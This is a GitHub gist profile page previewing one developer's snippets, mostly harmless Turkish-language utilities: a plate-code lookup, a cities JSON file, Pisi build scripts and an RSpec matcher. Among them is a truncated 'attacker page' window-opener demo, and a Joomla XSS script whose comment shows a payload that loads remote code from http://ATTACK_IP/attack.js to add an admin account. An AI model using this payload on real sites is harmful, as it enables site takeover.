Skip to content

Instantly share code, notes, and snippets.

View MuhammetDilmac's full-sized avatar
💻
Working from Home

Muhammet Dilmaç MuhammetDilmac

💻
Working from Home
View GitHub Profile
@MuhammetDilmac
MuhammetDilmac / main.py
Last active April 30, 2023 12:29
Python Tk Inter il ve plaka arama
import tkinter as tk
plaka_il_eslesmeleri = {
'01': 'Adana', '02': 'Adiyaman', '03': 'Afyonkarahi̇sar', '04': 'Ağri', '05': 'Amasya', '06': 'Ankara', '07': 'Antalya', '08': 'Artvi̇n', '09': 'Aydin', '10': 'Balikesi̇r', '11': 'Bi̇leci̇kk',
'12': 'Bi̇ngöl', '13': 'Bi̇tli̇s', '14': 'Bolu', '15': 'Burdur', '16': 'Bursa', '17': 'Çanakkale', '18': 'Çankiri', '19': 'Çorum', '20': 'Deni̇zli̇', '21': 'Di̇yarbakir', '22': 'Edi̇rne',
'23': 'Elaziğ', '24': 'Erzi̇ncan', '25': 'Erzurum', '26': 'Eski̇şehi̇r', '27': 'Gazi̇antep', '28': 'Gi̇resun', '29': 'Gümüşhane', '30': 'Hakkari̇', '31': 'Hatay', '32': 'Isparta',
'33': 'Mersi̇n', '34': 'İstanbul', '35': 'İzmi̇r', '36': 'Kars', '37': 'Kastamonu', '38': 'Kayseri̇', '39': 'Kirklareli̇', '40': 'Kirşehi̇r', '41': 'Kocaeli̇', '42': 'Konya', '43': 'Kütahya',
'44': 'Malatya', '45': 'Mani̇sa', '46': 'Kahramanmaraş', '47': 'Mardi̇n', '48': 'Muğla', '49': 'Muş', '50': 'Nevşehi̇r', '51': 'Ni̇ğde', '52': 'Ordu', '53': 'Ri̇ze', '54': 'Sakarya',
'55': 'Samsun', '56': 'Si̇i̇
@MuhammetDilmac
MuhammetDilmac / error.log
Created April 28, 2022 14:07
Ruby 2.7.x installation openssl error solution
/tmp/ruby-build.20220428153926.58149.kvjym0/ruby-2.7.5/lib/rubygems/core_ext/kernel_require.rb:83:in `require': cannot load such file -- openssl (LoadError)
from /tmp/ruby-build.20220428153926.58149.kvjym0/ruby-2.7.5/lib/rubygems/core_ext/kernel_require.rb:83:in `require'
from /tmp/ruby-build.20220428153926.58149.kvjym0/ruby-2.7.5/lib/rubygems/specification.rb:2430:in `to_ruby'
from ./tool/rbinstall.rb:846:in `block (2 levels) in install_default_gem'
from ./tool/rbinstall.rb:279:in `open_for_install'
from ./tool/rbinstall.rb:845:in `block in install_default_gem'
from ./tool/rbinstall.rb:835:in `each'
from ./tool/rbinstall.rb:835:in `install_default_gem'
from ./tool/rbinstall.rb:799:in `block in <main>'
from ./tool/rbinstall.rb:950:in `block in <main>'
// Bu scripti klan'da diplomasi sayfasını açıp sağ tıklayıp incele de konsola gelerek yapıştırınız.
// Kodun çalıştırıldıktan sonra satır satır size gelen liste ile sizin diplomasiniz arasında ki farkı gösterecektir.
let expected = {"Müttefikler":["UDW2","UDW5","PRBT13","UDW13","UDW38","UDW3","UDW8","PRB-G1","UDW33","UDW9","UDW","PRBTA1","PRBTA4","PRBTA5","UDW41","PRB-O4","PRBTA8","UDW7","UDW16","UDW06","PRBTA2","UDW19","UDW11","KAN2","UDW37","PRBTXY","PRBTAİ","UDW42","UDW AT","UDW14","UDW27","UDW35","PRB-K7","UDW31","UDW23","KAN","PRBTA7","UDW32","UDW1","PRB-K4","PRB-O1","PRB-K6","PRBT S","PRBTA3","PRBT30","PRBT-K","UDW15","UDW39","Kasma","UDW24","UDW17","PRBT22","PRB.AK","PRB-K1","PRB-K2","UDW20","UDWSAW","K2N","C-19","UDWVAK","UDWSW7"],"Saldırmazlık anlaşması (SA)":["TUĞBEY","TGBY02","TGBY01","TGBY03","TGBY04","TGBY26","TUĞßEY","TGBY14","TGBY27","KRDŞ","TGBY07","TGBY10","ERRASK","TGBY09","TGBY20","TGBY22","TGBY05","TGBY16","Bey-A","TGBY08","TĞBY11","Bey20","TGBY21","TGBY35","TGBY06","TGBY23","TUĞB3Y","TGBY
@MuhammetDilmac
MuhammetDilmac / have_http_header.rb
Created February 13, 2020 17:35
RSpec Have HTTP Header Matcher
# frozen_string_literal: true
require 'rspec/expectations'
# Example Usage; expect(response).to have_http_header('Auth-Token')
RSpec::Matchers.define :have_http_header do |expected_header|
match do |response|
response.headers.keys.include? expected_header
end
@MuhammetDilmac
MuhammetDilmac / result.json
Created November 14, 2019 09:08
Türkiye Şehirler ve İlçeleri
[
{
"name": "Adana",
"districts": [
{
"name": "Aladağ"
},
{
"name": "Ceyhan"
},
@MuhammetDilmac
MuhammetDilmac / pibuild.sh
Last active January 18, 2017 10:09
piBuild uygulaması bulunduğunuz dizindeki dosyalar ile docker uygulaması içinde pisi paketi oluşturan bir bash scriptidir.
#!/usr/bin/env bash
#
# Kurulum için;
# sudo wget https://gist.githubusercontent.com/MuhammetDilmac/9a00fdc3c6c2aea58b21cabb09671be4/raw/767277730be88febbcaeedd455835b92ea721ce1/pibuild.sh --no-check-certificate -O /usr/bin/pibuild && sudo chmod +x /usr/bin/pibuild
#
#
# Kullanım;
# Scripti kullanmak için pspec.xml, actions.py ve translations.xml dosyasının bulunduğu dizinde pibuild yazmanız yeterlidir.
# Oluşan çıktı dosyalarını pibuild dizini içinde bulabilirsiniz.
@MuhammetDilmac
MuhammetDilmac / parser.py
Created January 11, 2017 12:30
Pisi pspec.xml dosyasından build dependency'leri çekip ekrana yazan python scripti
#!/usr/bin/env python3
import sys
import os
import xml.etree.ElementTree as ET
# Argüman kontrolü
if not len(sys.argv) == 2:
print("[!] Argüman sayısı uyumsuz. Uygulamaya argüman olarak dosya yolunu vermelisiniz.")
print("[+] Kullanımı: python3 %s pspec.xml" % sys.argv[0])
@MuhammetDilmac
MuhammetDilmac / attack.html
Created June 12, 2016 00:42
Window Opener
<html>
<head>
<meta charset="UTF-8" />
<title>Saldırgan Sayfa</title>
</head>
<body>
<p></p>
<script>
var tagP = document.getElementsByTagName('p')[0],
text = '';
@MuhammetDilmac
MuhammetDilmac / joomla_admin_add.js
Created May 31, 2016 18:02
Joomla admin panel admin ekleme XSS scripti
/*
* Author: Gökmen Güreşçi & Muhammet Dilmaç
* Saldırı payloadı
* <script>var script = document.createElement('script');script.src = "http://ATTACK_IP/attack.js";document.getElementsByTagName('head')[0].appendChild(script);</script>
*/
var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = '';
var boundary = Math.random().toString().substr(2);
@MuhammetDilmac
MuhammetDilmac / deploy_user.sh
Last active May 25, 2016 14:14
FFA Deployment Server Prepare Script
#!/usr/bin/env bash
# Information output
info(){
printf "\e[1;34m[*] %s\e[0m\n" "$1"
}
user_path=/home/deploy
info "Change work path to deploy"
cd